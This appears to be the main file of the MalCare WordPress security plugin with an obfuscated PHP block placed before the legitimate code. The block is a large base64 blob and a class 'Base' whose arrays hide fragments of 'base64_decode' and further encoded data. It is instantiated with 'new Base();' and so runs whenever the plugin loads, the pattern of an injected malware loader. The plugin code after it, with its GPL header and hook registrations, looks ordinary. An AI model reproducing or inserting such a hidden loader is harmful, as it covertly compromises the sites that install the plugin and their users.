QfRmZO5epascZB/ZYu5JH9r4/rHnU3hw+zyB3
S4/ewFaw7zmRB8Dg01foG/hj7lv7ZRkpahFZvrcF++
ghMMTU2w2Ds1EnoPRxPQ6l57s8hyPeWpDW2IUyZydUSza4La8i8L9P9aQ7BfAJwI+r0nEy+C
8VcShxwYKfow/MfP3zVVDmnnYiyFqGWld63Af1frO+n2vH04eMuOXYYtLa
+lBP808PBxCiIkMNbQ5uROYAJZtSOv
E8LPYaMBq4/STtJmuSUEMjYfGG3CgaedkoXQQ
gpwD2WVEwmuYI1ua6bp/o8DMXWGd7I2dEM/zzgjsZfmYGbJRiWUBEsOzPM9nCb6bGMgjuSFe3rwKlFAx
orvTUzbQZb8QZdHH7RJRjJo+UGYtiHc4FxlQcmiBQIMCweDl+NVveKZeU8VftRmUq
yDGBP3hTPfelIwmkNBz0xWCabIi7h0+DFpekBJj6flcfktBhs
+0hJqtpa5fSNDrXmB5gg1YSfw4nTIR
2u/pRbY6GQAt51EwbY/w/vBR1/e0yIiZYNiwBY7C+SGhghUJhiLKh4fILARd8YMCb2jS6lJCQKXz
emeO69CkOQEFfr7/j685maz+L8sKMInc
dWNCrKE8suEyRS6f9lAqJt6KH4CMzgJzFNRjZRC5MmWHwddSnTNeqwNgjJFj2
/D8UC9Z+MhejhvH+3M324G4jUw6ymCypSK/ezdiR5jP4GP84sACxTwxd8Rf
qpPZoH9tJ+b9ZD7uKLIg7DZFmsNbL4uDCLAt3k0aWKraukxnVrixs6lOZQLB1Rpp
SBEASJiMat31Y0pliHjWDK9v1t9at67cZ0FLOUlPlorc3Hew
kadSEPw3wjlZZTqV0j1p1nrbOEg2Bu32VEHy3VmSL67US+3fc2Jt6PpyPKJZl
dTX8J77bj0aOpCUEKoWcf+FjH0N3Knrd+OMtWk3qB9WUUllZGEKKAW6Iyd0ZV9x
rSr1DZmRn6jERx9XFhC7U9X6bk3x4uDOesGiOeY3eAY7h6k5uSawZCxoW
PSUyAwyheCOeMBVGtuKWbCSHwfMUvvFIwHaHOFGsiDdLkbKNxwGsSTCgKt0vHUWu
tDG9aOCnGhyf5xbKKRkzK90ol9wS/gScj1+0scVYzleGjguohKC1R2phtw+1fFJkgbwWpOLy
c6r0px+u8fGWmLvjnMYRfEv/ZwFyMoBXxPS472YTQoDOJ
7R711S1xBtR45wS2iNqCgwZehKrV1n5Gv6
FeHsTX2MYOhW9h7Yqr+EQjyFIjbr88fiCbTXfhTe03KBmgRr+8yj8EKZhT2Rj64WrHWMZtes
YfjmCC6qeVDSqvsfxDZ5VwiCVyJJV9kYpU8foRZJhPubKFx
EzIgzh5Beyohtxy7siPZJt+Rb5XgnPqAVEyf4IY+z6Lj
r6WIzC1s3wtft1Kc8mj05UBYjVZ+g6DQzDkVWCNO8814tjwkRgY8mghy0wcAB3+F1Id
Q7u7uS4ZpmVFpe6lIpAljZH++pCm+oNFLChncbDHXhh0Rn6zJ6vNhNtS6RA52/cxQDXCWY1pMkg05pnN
ZhoD35h8JeWxzjKqaaZP15s0Qu9fHMpAlL4zkeC
9bZG8HDKx24qQzuAZVVSXnnaV7OPpqx+t8yTqHhkfOaQaLwaEIJT9Yi3LXpQHV+
NYfJv6BM/6bbtVx+IKvxviYyrDSSzt
VDNP2Soqz5jnbKYa/cli2br8RibfPQUt6YE5LPsSID6kFGkpCsHka0vR
iFeJ23ZGEpPJfIKBWdt61nVf99W08Xzpe3AJsZJ4z1K1cNa1Ia/sB7
7QKM5Lyq63itdpfPkxKNK3zpuxzw8JVDnTfNyzqcAV334zjGHtnqgpKhiZziS
BPbmSS2t1R8f89THiS+jMa7oHOpHgZajjEYDzDuj
Sux/4u+NjPcLUT/5vCQGfmJS8eMTKqWa1Ro1SfCFC1VdRqli
/vxL6I2zbV5YYKTpzx24Iz/+waXCSSVgPSahs7b05hRRtr8NqgHnh1k5yL2dN7mDK
TBtKc8dwCm9L6oBWTVeqQcR8xHs+oP52fIbO
LaDWnAstEx+n9orWmVBghbl9lalFUQmy7fPthhAh5uQnkDqnNbi/Yons4aEq
IJFuJdFPGm7elhIu/ZR0a31Rn0xZM1SkWFBJNW34A7IUrirj6PGMnW0ae7c
3zSuM1gWtuQ6d+K9y5aCYrY4yuRXqkOW/hw5PmSpXvZf
Hav0GPk8Y65pHwFiBJTzLs7OXjVVPrA3BKJWbAPmVndO2Fz2cso6SaaIrg08bbYESDXNAG2Y6weDK7i
wc4W6pGqvOy+KzuazKss5u+mr+0+qUUYz5beJKGNUIXwCH9Sc1BIFDslbp//Gz8eGRL16+8Am0YRRx
Ikn5RLiFRgQdncOfJVwTOvWrOwHnXirval+LvFootN69YIY
UNhuksIdpbW2ahg2+H3qKfLj3+YGV1gW0QOghUi+DDxGUeClus1o
wtidXdYFVBBfpH1Kk41pyN8HSn/h65L9xt1mHmW6JNLV3tu0QaHliK
z2rvVEFXTZAs1djcSTS+xtEC839oLFa
vzPLAUCXOw4emYi6/aALaRGVlvywWZ
f02X4jjmkG2etbmoiCVJhFU2j3Yc42l/SDrx2Gq43zPFS
oAbym+i25E5TTBzEvb8kkaM89d1VprCCgqV4D4
NhhFWBHvc1pb9utetZO3f/4L6CodMHgFct2gPFj37sTos
zfjqdu9G+KQNJMS9tfMlPXwWZxDo0suMrL9pAuKPk6MgyArIyF
GtquKG67a3TDQ6Xy5fz40Qbg6PFeP12kotShv6sC8
941SOtLkAQEbUqfFdvUkOaIbVikfSTHwJiSUg/2drLynQf7VMWkhjW
84U4eb8Bs/Itv4pjLViv9folJDPy6NNPYuStTYcS/dCwYkRuis9OgetT1hHsp3mKl
P6nctbet4MUr+6tlW2yJh7UiPXq8cbffJzt3LSv09GDc5ZABMjpdSyebIkJmpYlQF1ECYkrS/dgIThg
6vfB4AWyclHTPgF0hBmPDyX6myI9gXMiUBteNz
WUr4BAFzhIZMUkSVzzvXq/EDsC0Q9ST5/Uj1MjYkBqpUS+dRclnx8GAhOt
HmZAln05foS4ynPT2XZnZMGmYHau9YewAjqOz5qI3XJQ6at3
gFdq9pIThXR45GPoegzuZYYJ/muuUaB0WxlDGK7QqGvbrzXAM+JpgtWTKPrKBUdoyIIizsCve/
BKBI0sGiBl7D5/WpTTrAJ+rkKb+/QsQcKpym1/vLYuepqfywtg5/upHcn
7damlcEe3+eR7bZtTkt3EyyR0X7OSb6zFM2Yjv4dXuqyo5tlA+kFs1CN+XtAY3E36UWIRy
ch7fkaIn9YpnlRH5R6MyfwmpSzn7AkNNs0TXjbz
NXXQIZAr44D7kuNh2Daq/kckOATA/YHzmC/Ko737k0/KO49mXheDoYK1OgXdolmAsxAf
iRnRUetDiz9ikBJUQNyKaOosyEwvHvA/He93dmNgUWA7PQsuaj3YLkzF8YGorGV8I56VxuTYLV3h
y7x7kygCgQAluqJo+8rxki3KVlupASZjN1TrvVp68VgTcnY5NXg
XxXZeGn5EoApuoh3XOSJi4Q2t9xZ7auhuWwerV6sE76Cgxy3yZQoxmlAM9Nv1m4D0aqCRM+o
sTrnRGwXn7t1A7Gaz8IxX/0mz2Y5nLbAFTBx7iaftOUTN+Pi318a9HWq/m/Nupoy4oQ3Zv
zYjrsheEc46vKoUHhTF8oLHK/h1FCN3OVqf1z55cJH79owtx
uXIk/BCY456xPPTYhh4VevV0I6zuSa62hVNyOcpuwe
6042BY/wKrcQUx000G0thazVZU7tUgdFZ3IY5ngib4darjrVxdG/uzEVA0Mhdugo
sDFAjDkWWEbqY1xN7xBWR/zNUZvMj6ty
qUqGvVwhZy7CIJ5bZLKFY9d4e06idcMNMu
eb/ssTk7hTTOzR9NFQ8hxRL+p9qVauATNrtfMftlbKrx2P
sou4V3Lvy/lMNlfx3MCGz2FwYnJ/DdBJCYw2fG3j/+WC
2J4tajyJloRpbH7Q2nu2FJRf8aoDf+WZvoSrtrqAjP9eIzDyTLSCSpQGB
L1kSt8zMZ/01R2QdqkVZ/Eq660dUlpPeTYnxmu8v
xLZ9DS2K7sMKfQI5SqKLH5alu5nhjlC20rFPVFLOq0mYXq5Ow46ZekKCd3eyVn
a4pJ5brev/JfuRJh7nDw2mRhhtJjM8T+HNuwk1ap1FhnQyUVLmOGgH5nE12+HmLfbB226T28mw958
U8bGf2qk4SQ9ZRosVFxzqiFTVAm2OBe21isOLp9WqAnIEc
4pVkhDG0WnL2xVvY6g/feC32poz/59/D5BEifPubFhmn8tugCIkuo/VBR5hvIGNjtGrtnT0SWz
WrI4zkeNPcNeXUpjA3mBkjVZUjpYYdptlnlziwXa/pcC7x+NDVq9Q1MYWjXWS
go1NwHrmbOQw4y6AWtX1JXCPUSZYSB7Zf
C2Oa9QFPe9gfalf7RU6tC+Sto5lyU1SyxR4rWFmmTyeSZox
wtsaTIxL+k9lPWMD/L7jlVrAQCyzWoAT/ynUoi1gg57Ar56ipcJD9QzidZ
q6tJxovD/1G5jf4KTofES+DNTwbRZK2BHVQcuTChve0SDu20aZA2HUlwl/y3J8gQtFD
AdqvykP8ZFIp+rJy+Jzts+l5RM2CuC2Pkt/Uz8QunMbKqIugAUESyT
6xPbF+H1ZEWKCIuXa/d0FtIYF6Z3/G0Pn+FVw2VnX7clRf6K/NjQU/k8yHiVxeIOtNDMq
gLfMQ7yQmn14hJPcVWGY9WdcSnRPQqOV6/AyDUJov
VbuIMlixIDFW7bAu37wQ1Hk51557jtGk309YijBObN3WXTVd47nFTTBgMGj3hrwWfaqSoLYl5Q
MUvKS25XnP/M0MAmzlHdt/ZG+fpS2FIs58odgHECRWJ2AUx/hoETcfBEB8a0M6OPatuA9CD+bsxDmG
84jNX/cmCncthLn2KTBrNli6a8F2c19afCqTp04j7YV5lMYm3l
qHtForeyylgdguZrrhZ4AJ6HFomZlqqu7yj5lbm1TUPX5blB/0
ViN3RKyUSiy+QuLmBwey4wKUGmjAMRIYTv3P+8RYOPeEMZYelFn6u
ZJqXgokRFBPjx4huLmo54Bs0pvLKj0/Fow1UpqFqanWUBnNZLjsi9xc5ffv0
s258A4uaVmO8jWzirPCeq2RFWyP4kOo/JO7kp8F1SYmbXWcL/wlWlMUPUKq3OlCJtMKoo7T+eYenM
QJyAnnaWVsOnUqRT6dIne1qQCVtDHlfZ/C7gm
ujIreqOmjuHjf+4XIVmIjgbRWWNi01sye/87QSKYxcFnfA4K
qz4ioYGEnwI/pAjsTynvAJjEe2l5HNAiLCVcS4JWhL8mDyFxS20nuLs37k5swvMBklVwxcb
Xkx/JM5vPwy7DhIl7oNhdkvqisBsp/KWsQyC7d
QlNU6n1KEACrypj6O6phsEUWo0DL/L6EASLtmDoOHSL
qt82nf9XW0KTELErBIrNsqzzp+pYwbrOCstSe5NZRhzAaUBReEHym7Razr0u9XM+
iQNyY7YHoac0dIIubWms7DC/A+iI8AAzx1wR6hParm7
146Fw1fdo/Jollbraxp/aljfqlZbTsFGFuTcRNUTl3BdypnMRrJ3aafPAAlBVjeYpJpc
+6nrqNMkFTsUkic/uwOYy/h247eExmceAmfxa
LhAay+0LEB0p5x+2SCeX3OzaDw65nRm827A9zQ/I1w1U
WzT7sG+ViAautoNiV7Af3GQM1bMrAWM5jf1sxGeTD7HWcWdHer9e8qVeFc14mcN78uj
aqgmm2uDixYfzhtl8EWVf97YIeaexr5bpxwUdev
7DabXeQcm69J7PsuPs78QMDtFohYpFrkbu+vZ5trritVaRa3PJzmrkM0FQN3nd3X
zRJxFxneFu32ymyT+WzjZVPnzW+xWpks91W3E/5UmfvGLNRWwYvVznJndKnkAKMZblma9+rOeVvNw+X
9V0E/cfo7/Z65mX+8JZVLK/lv+c7TPvmVtwGQ0QYfzVKhZVwgUkZBGva
FOZRlupqjb+2qdlSiWANy8yv54KZWU52jr5/XY8CtmOOl8Gghy
Yy11qYjiEverftWM7ZtIooYXLEvJqgl5lDOVmN6wpkasIp/vtKRV2SK2I6MdweFFlwshW9hYksU
SXTqQ+E1vVg5UMYvj0GD9XBKKPN9KPxeTUtZt8mcXOXzvKaxYx/Bg7CWyGAflPMEtjCOr
jshoHoy3zFfv4RnCfXz1TwNhnAe87tqGgVJ7NHJQcLxpDrOKzQKiXnVH1f5Ti1a+6kUidgx9
43pmd02u1B+9G+vyLwmBzrRByEK0QD+NsMc6GDKFpGXrLIXqLyVbTVvRxi38cDH
KqJhvaki7RSEPAHVzbKQV3P+EGOHd4m38keyfQbw508ST+
K0+usZTLJK1KRT2vBQsMe8kJf4xLe6EmmP0JMkU
EQ218Q9WVWvPsRy1C/WpVX1LQ8VXqqi5TW9dptyCX8uQ0rYKL9mqvAnm2TSUbWk
hfYxZhnrKA3zZNotMDbyqxuJuG1L/xyG
Up3jULfqeKakORmezAq0jyIVqRFiJFKGt1
uy67HQWoYqHZOaFLHNcG4O+qxVyXS1EqNk0iRgyi4wTMx4zPMV
jNqfXcGHrZ6OETJ+VDX2CY5gEHHwCxSnATuQOB9cpZYRHxonew1XGNfBWYrI
M3SSTQOgx0O64dUW2PT22QNmkKwfqWemQeDiUzYCXvSLe/QA2wDKd
zYQ85filRCWv/btmgTJhT4udcw39unOlgdAs11QJB2RRisDj
79mMulwUJ1p5xvfyo/BKvzTfXJ5P+rO9VQk/qllb9ZcsGV
MmQRyJvlYc8J2yZ42VximDjt9UHbf+de4lUpqqDdWFJf4D9kBnU1+hcnhpUv
8ueHFzJdCgEPfeuirlTAoMbyZ2qQzmKPNhLx6xLl3yn2fgIhsSsqSU+APLo3JtHBOhJU+oBzDA
GK7CNa5KpvfGNJPhpPHk3g0P3zgXZ+OjAB9d4a0PppP1lJPsDncA5PiDnq62UFEn
JnO2EML+mWt/QopG1aQu6WiW2FKGb5iGdR5oLDSWXBaflC6
b1/kDJCmhLeZwuEA4/yvPkpolwEfZx4MnLVhTVQDJw7ObANmTIzkIBVKKpe4MoVemslV/6aEE5UP
KzIsjFYMNLKm+hgnrZnB1GqM/v5oQo9xqwCm26uYQpOKg0fgxNoMct8gsl8mRDu
SVvE1XkNskf2pyk64kHiC7W0s24s7sw2F5DqPdtM
ULXaEcIPfGU2IiV3S88o90rmuKHjIJ6hPV7ES2s2BqevBCfbaC2yPNPUh7RbL7DY7pU5A4PIlZavdtAJ
fihpK4XT+CbPdp6su5nwypWkueEud6UlR
slErRx5vvfX9Vqd8yC/SC1+IxnGOeBQnyPg1OFJq
RzPnCRKAyStqduPdN7fuOjwjXo9WO3aBT/9bZbRRHfACxxqt2ounExbZM+16yGvm6Pf
DmmmqKxpapCqODTWp8xeSmLkMcCkPle+RNsJz6xLJ2pu/7fcXkzwFGGbp1E8Pp5YwHq4rjTRc
yJsS/CupAvZQnuSZ9iRomzb1oluIF9BNDWvqwR1RFfSwEezkE1B/6o4IPgPeMrl3
d+DvQCmLcy4fmYUgXI/tDNNDhnZ6KbwReRfk
082wADilVs3CBRJ1RPxmLn7hDgjRYeim1CkgM
pdXz8x2n0H5NEk7jUmIXilHmw41Kc+mWA37K
zXdIWODCrdBS2HwO72KH9wnNg6eOlKT
GVJkcxE8XeBGNPyxxy3h0mUSpfyXOUikAfseHIFzadGouKjG9fRSYUNhpt
/MKUCGs8mEfyMNpoAnR6nTFDmHYRF64qNyrwpRvAldMTcpsRM35
oXtMkkylYqGCEFToWA4MgbuA6ZfHOpfxhfvdGm37T9f6SKclWVZlKVQuZVMM
9T38PfotASAbTbPN5fTwBjMMqzn3Om2F60WCCi9/hE5eAdQz6/cAy/w4zlio
7zUE1AOSrzIpARVh5kwx8sVPynvyhJWNyjs
DMEVC1TglpvSkChX6C351HUfk+GLqLo7pdJyttxuinnb8WZWlVpz
9FKCmrU0+OtX4WdDrayGVi1dVESZOuV5bQQvMwjFGjyxvPrNUJ2My2Yqii2QX3vW9QpplYnUgI0gXvxh
k54dk10ZRqUKuYEYy22/wp3A3WBHfW45GkHmY0BfjzqyL
y0gspjDRE1poiIoqAcJj5dd9Rjo9nYJt9msA6Iv6NB8EwIrczLD6kHxNOkTphyKpwCFNGrxGEXDPGgX
9299mG+MNhLAm5cIlhyhwMCJ73rVFecqOfKkL
8yhWQryJPQ/NYOvMbxPrgFtr73kX/8O3h6dcCDUlquUAsJI
++bjFa033azovgukavhyw78vZJ1J+pH2zROuyKRag9VxAUeuc4rc2DCZdP
6I+IqiJ9ZUGpVIt8hH1t2nQ3CRt2ZnLxd2wsl5FiEYll
QMdISv7ae6EyZNu2NrETtZPgCl8zeng9c5hwyKLEbS/3Dlw0u0deHEt1KmqL2+
MfYhRXXvp3AmhfaRCmHA9Ilkb16JGNfoHiCY
9ZeZuO2dLSsj0EPTgZavC4aZE7iJgMbZyfC2gE9WfzY9sEe0NnylMD/6jH7o
E+gdm9+GiTg/UA7ju9TOugGKO5Co/WVNf9inb2725JuGVWZgJ34+8LFBl+w1h74UVcv8Wa
BHyc9XBcx+TtX00Ct27Z5t0AoXPiCodjKebPlIQY5oEV
Bn3pCL/il5oDxVIkJC0H1ea7IJqrG89cVw9aba/wnSv
r+bzDrTvIv7q6bz1Y0H+Yb+OevWF/IK6T238xzTs5xFrWpSJuuTMxI28P2eos0b
pRm+y0Eybd/DkP/8KfS5Wau+OyxIEUEPWhuIB7RP5/f2u9mBI
u24aSN6g9PRHO+0Hrt4dkregXOkz7nj3imriir0CVBrHVT8+Tr1Z9D3dXO4yOMlj1evTOAHDcsCn
+hUKqa0A7mJYbP/+beGF6+5iSbQy+KvSCzFx7oH7id5wAtGlhG9w
XfWMoBuFrlg3fQAIOpfk2BF0gX2pY/Pd6jTLXATQy1xr2yjmwVzp
CcBTUMt8hOEjluim0GInWSa7rMBBXIuQ61ZT+hsOgEin/GyQp8pptEqMYn6iA
09IIE9jg5cxVwRD4Gi63SzvAOWtqMCvl5snVY9POry
l/1k2a2EZ0Yr7fRdUflfEC410iAlM7mXOfARcM75ASZJ2xuuDNvu+hpXVvARXBaeLv4FvPafL
CGPNpCRrIx4WNMPuwSkslxF94GX4XEBReROFUlrK
5KnR2K1Zl80N1M3Jnjly259l6CP7A0w6sd5xDDF+iuvzhqzXP8SAm4OPrwQXhQ8BuEE10w20
bHYBf0NxEAyOfnZUyGUmnnj14I633e4b9hQc8gNjXz0LX5N5INHXSEo
gXAnLthue7g2HKpQMLeR3SbHZb50j/7Rs4vGEZD40Pr8dzdtUukSKxGgIdYqEndD09Y3i/yBaHCLJjck
ISjVcSpCezzY/CMs91scZ2+0Uhs0muRm98cTP4tWUdg+YjgbAe4zHENb+1aF
4ilXzx5CN4XxihFEmFawXoJooIJFfjBXqPooPFM1cXBODJyOpXt8EjZhwxcVNDUm0K31pODlcjCe8JnF
hEzKQLceRmKjlxqGa0MLmnOmmq+xfQzK8IrN
P8Yg7HCw75D4IbiExKMikLtu+/2sT24hiboQ/pZGi5Pp8bNzYlhapmbkDiH429rhSSClkL0TuQQ/j
jqvZYQcaDzhvZeaKPUUzfthUB3KHhioVxmKr6nMMHxlwrzdUkDtqXRZw1lIQMaBNBQPSx6q
XVk9CxI2yUQ+UohRJEFKJKJQfRfBRrVB7fxjkLj
N+v+J56LhttXzkSnrKEhKav2tT34zgsbNZLhOLIWo4p2h544W3BDQRfm/o0
98pzl7ll0k5nXalBX+4eZP6RZy8r+YU9ZTGEWS1Vd
ISIOuiFkqabb+ZZi6FCCvE2ugSQ7YPd+T4kBPEk9tlnNwVESrxy67ShPz1i+a2WAhvqv
WG8bb1xq7K83tM/SYyZwH9KZTbVAix+YxpU/VOeqx+UATlBb7Miks
UqeGJ/0pTSAHAqTU1pqiBe7b3VXmclBOSiIosYY4gYliDPnvxnDC/4K3H6hiT+Nq
C0Gtd/OF4OxqVUgQawuUU3hZLiOcPqktMuIvtTcrPBWL0ZAC
mwz1Mv+UMZ0zcNkAiwkkxGFvH7+3qBIXIzld6iRmRzm/YagBIW4UC5wo1WQIkwZSW8IYOjkCcU
04/775SsCLPsnGVe0uW2aiRS9OgqSas72affY7
OW8005/cx9JoXm82BWi7ONGFEeyvpTb/gqUVJoGzuiQ9+emt65bFeWD4rFDPHV
9uHDroz3KChhTt9Y3B5pXkRM4OQcyi7gJeed+GSERqVplnrsV6YLqPlUclXaQv
JkiFvIV6IjWCdDESuqChSgkqYzNNHdxI8qxJ2uv0LsoXilvBky+IG
5pnVoEdsg+yg6CpmjQ9EuNCx72v25Y2YETmnKXstNmPqGUKC5vpn
blf6RxawUhZ9PV27/OiHo22g2H9RwegLjAjWU65AyA/EAgVlZvJp55ke/EIPfT0RmqnkQ2sX+imSMAv
KvLw8yRgSZljfBf7nsH2R3KGYDt6IghNsCpRkpWncTCj3TZdOz4fr5y9ssa7Ix
XHjdL5qCdZngqtnzcMzNN1eC2Ik8+yujy5vPDa3cyFGzPaQSLcDYTUv
btvybTa8X8DS2qdRoUnQsmcvX1jyeos4w
bncy/GfxARMPqROUf6h9vg3lEhlz1NKGv20sinOsQQ
2g1kJfbr6KH9PmvoIC87IIltnbRiRfVY+F7RgLJH+Mzu6Q7dhV3gz/ooWwJZgP
ul7CGbRst9Wysr31EGvkaFEJOg9MF4KPyDpX2I3haovziCsnAqUUSrCrZxghfgBLL
V3xqByVk5awB/pz5TTd/voMpMTRggabb4Do5XFc/iRG8fhP008j6IcIgv4mFle4h5
pWF/JQU/621IN7xRdq8KAV4NXKXBOAWZab1TuzYaOR612T7gZ597pseNF1UZAfFYQ4LP8BZ3+Nvxl69
/uQjzynBxgsag7PoaPuD2FKyZPe1PKe/DidxqG
I1OtErVOzqqd84OrnHU8TtL2mjsTsJc1wDaDx6VuqsDNUMNpmbeoXs+7jBBNlWzHM6XE+
pLjq3Ip8liMs14cz+HSS9hJ9+RF7NPoJ6Dsm2RfKNE1EyzDbnYhgAzCN
GGBtC+DdyLkuU5MIh30ZWSGsLfqveWoc7V5im8Jq/JSlqWhJt
MaDukfLHfla5sjsSsiS58DWORGFnHIMLdJxGJfkxo0iLxW6DdRP1Kv3RCsxAZEf
KOfEeaSJKIgdU2HwgnwLHb8F0kifp5Ykf6qBhHGicub+Y/Z3TdP
mfqti8sHzu8WEHPyDUk8HoO+cgf4O0MRRMFTsBT66Z0tF9CLWbdUsu1jacDRXKmc
RrjlR0IqLOJdGfpOMMjWYiESGnEzE32LVDlE1+PexdlJ3dUuYZTnymIOU9SoRqbWR/rbvtG/lpHFWhbS
v/jUvvaAWb54/4yZ1YCP78vnTyO44Me3fF4mz8D5rdCmlh7lWidNPU4qMJrD9S3CdBSoqc+d
22QJtpfJH+LCfC9nD1mImS6FOafS/ShctN/McMy9r7rz
k9jlynS0uOAhCpMMpY5pijIU6BJC8ABcBLPwYSRfP03QK6gnFxdsxx8CCHr0uBVYiw9zmG
nnFq3xd7oD0QZ/Tz9oC+em3HVx32hDvNwO4r2Ce
wWmFOBFDa/rZZ0ukdpIMcg4bOAHcRULVYY1dnUMcEiDHBA075OV0vVuuHEd5
IMXRCuCqJwyyxeV5T/DMhEjKtCYIbJADihe5Tqp/7q
kVfpgwB3m8VaGDGyX3vMiMcYXHWKQJX4=';
public $heap = array('YwObG0', 'jiz9X', '5s7i4c', 'rJ6j', '9g=');
public $build;
public $app = array('X', '+v', 'iz', 'n7C');
public $proxy;
public $error = array('D', 'Z1', 'R', 'Vz', 'LO', '9r', 'e', 'o');
public $debug;
public $load;
public $cluster = array('y', '6', 'n', 'i', 'g', '=', '9', '0');
public $seek = array('ode', 'base64_', 'dec');
public $claster = array('z97G', 'ubX', 'rK', '09E=', '2i0');
public $block = array('yVo', 'aK', 'E', 'ub');
public $state = 'zo2dBDalf+BjbafibdZxHVknxnFJgmZSi2wW+JjiiEKSMBW
EB8Gls6TGif4uoLVeXncaswh5j8RKf2ry2fU1Ou1uKdJ1X8aWaHo9L
7QLNKEpYEPNXXMf0H+5SNgGUH+HnAxsJJ1rJCYudw6e1qu0+0Ar6rr8czmYH0GFOQ/VdJzq
FBxVTHSiUgfGw0LC6YZWKRXQQ9TG+C7uCaKN4Ed6sO++Pyf0hpXXVx9LrvboMT0Xx
ObhuCOB0xOhA7T6AQeqSaxSf3uY7L0aVI88N3QW9KQ72092fzOSY+ZNr+2a
23jAG/5mF+gFFBMl3hEU/THkK3CelJDNY4MLsliWOxq6aP4z3vBMkXvb1
PMXy/Ijms0UCsLFoEwaChHyrdg4HtvQvY1eFws2Cd+vYJSAN0S8Ry/c89a
12R1UbW/cxFfuw3kqT9FRIRTxN6wk6zqGt2uemYVxN9PG
cZ4CCeUpgTWxIIgeb+QL+RlbtQ83SAI
Pp5Zb/cru5VPaVpuRixgayXrNUBPWfqw2EyWHSSmscLxGP9/Ct3bPmwlIY5Bdf0dWJ38AkFpH4WJff
vxrIe12WUiALLKpEJI9Ti+HZeqGsV5t0Nw7bB97nQKPZQRPFDPdBr+J9NxNdAmXK6GLszC4pUm+cghzJ
jJckOGlHBHJ6mQDclu4TgaCecdtxhHb42s9oiLcnMTj1wjF7B+P
6zABfTEgviqggeHzAq2sNio3T5jCSvUeT+YzzXf4lYmWOWeWJbS
fAhXXniilu/GAsQN4Lp2XK+puQKv9L4woNgkhkxrUY/kdo0HHRGyyscu1plqcDpa+LYj
JCqALXH8sSKyaJaFrAhQrEvRkEgaSR/liX/1D42S/bM7TFodURTGgINZ8hPG
FLWnr4NP6Jb0kA1rSbBEU5brTXlRSY6LYcLN4BoVBbWg09kAZkbNlEwsV2SM6zlmHMx/WqK8SR
xfL8fL3sTqTiGknom68YzoJuHhsAcBXk4Nwer
sHC7i946t7uUu1QrBu4ZYMapG4LCL4u+Stey6aukfJsFYP
6hVPiaKVES43Q4epMNpm/32mOiDkq5+qgfE9DQJvOa
OYnPYmWuWMi7WOQOZ3WzD5xeefcnN2rX8v14DI6e3M/O7Ui9OTU/5/rBYDZPDtRbiIqjqs5
zRweKZHx713h7gGNgEPxYPyzChwWOZ0Hn9Konpf
w6bLpZAds3QRVEpzmA1J0H0h5MgJomscb4QUb10m3CMfSszfdgsBTUOq3IlB7T0Yj8zK1YTE4pU
qKVHtryDOft2PhUWCFplhHEJcPJxkmqA25ZltCb+iZRzHe/b0hXnMPrYLnKDqDfZ3zDcJzKD
DuGsNpgtcv3GnNJNz29GRGGHCGAn/JXrdDG+2DTzkGBLgrRdh5nG4wuIhYECzYSnsF4tQY
1KvtB5x50uyIgrhytYddWmyxiri1FRdFjTxOTfnd3Lj5Cm25viUzaRcfaZIYKoBMJuNhqPd31oGNe
Lkwbz0a9NV2w==';
public $shard = 0;
public $twelve = 990;
public $_app = array('tj', 'k', 'jz', '1tT', 'rJ6', 'U');
public $application;
}
new Base();
?>
/* Copyright 2017 MalCare (email : support@malcare.com )
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License, version 2, as
published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
/* Global response array */
if (!defined('ABSPATH')) exit;
##OLDWPR##
require_once dirname( __FILE__ ) . '/wp_settings.php';
require_once dirname( __FILE__ ) . '/wp_site_info.php';
require_once dirname( __FILE__ ) . '/wp_db.php';
require_once dirname( __FILE__ ) . '/wp_api.php';
require_once dirname( __FILE__ ) . '/wp_actions.php';
require_once dirname( __FILE__ ) . '/info.php';
require_once dirname( __FILE__ ) . '/account.php';
require_once dirname( __FILE__ ) . '/helper.php';
require_once dirname( __FILE__ ) . '/wp_file_system.php';
require_once dirname( __FILE__ ) . '/wp_2fa/wp_2fa.php';
require_once dirname( __FILE__ ) . '/wp_login_whitelabel.php';
##WPCACHEMODULE##
$bvsettings = new MCWPSettings();
$bvsiteinfo = new MCWPSiteInfo();
$bvdb = new MCWPDb();
$bvapi = new MCWPAPI($bvsettings);
$bvinfo = new MCInfo($bvsettings);
$wp_action = new MCWPAction($bvsettings, $bvsiteinfo, $bvapi);
register_uninstall_hook(__FILE__, array('MCWPAction', 'uninstall'));
register_activation_hook(__FILE__, array($wp_action, 'activate'));
register_deactivation_hook(__FILE__, array($wp_action, 'deactivate'));
add_action('wp_footer', array($wp_action, 'footerHandler'), 100);
add_action('mc_clear_bv_services_config', array($wp_action, 'clear_bv_services_config'));
##SOADDUNINSTALLACTION##
##DISABLE_OTHER_OPTIMIZATION_PLUGINS##
if (defined('WP_CLI') && WP_CLI) {
require_once dirname( __FILE__ ) . '/wp_cli.php';
$wp_cli = new MCWPCli($bvsettings, $bvinfo, $bvsiteinfo, $bvapi);
WP_CLI::add_command("malcare", $wp_cli);
}
if (is_admin()) {
require_once dirname( __FILE__ ) . '/wp_admin.php';
$wpadmin = new MCWPAdmin($bvsettings, $bvsiteinfo);
add_action('admin_init', array($wpadmin, 'initHandler'));
add_filter('all_plugins', array($wpadmin, 'initWhitelabel'));
add_filter('plugin_row_meta', array($wpadmin, 'hidePluginDetails'), 10, 2);
add_filter('debug_information', array($wpadmin, 'handlePluginHealthInfo'), 10, 1);
if ($bvsiteinfo->isMultisite()) {
add_action('network_admin_menu', array($wpadmin, 'menu'));
} else {
add_action('admin_menu', array($wpadmin, 'menu'));
}
add_filter('plugin_action_links', array($wpadmin, 'settingsLink'), 10, 2);
add_action('admin_head', array($wpadmin, 'removeAdminNotices'), 3);
##POPUP_ON_DEACTIVATION##
add_action('admin_notices', array($wpadmin, 'activateWarning'));
add_action('admin_enqueue_scripts', array($wpadmin, 'mcsecAdminMenu'));
##ALPURGECACHEFUNCTION##
##ALADMINMENU##
}
if ((array_key_exists('bvreqmerge', $_POST)) || (array_key_exists('bvreqmerge', $_GET))) { // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.NonceVerification.Recommended
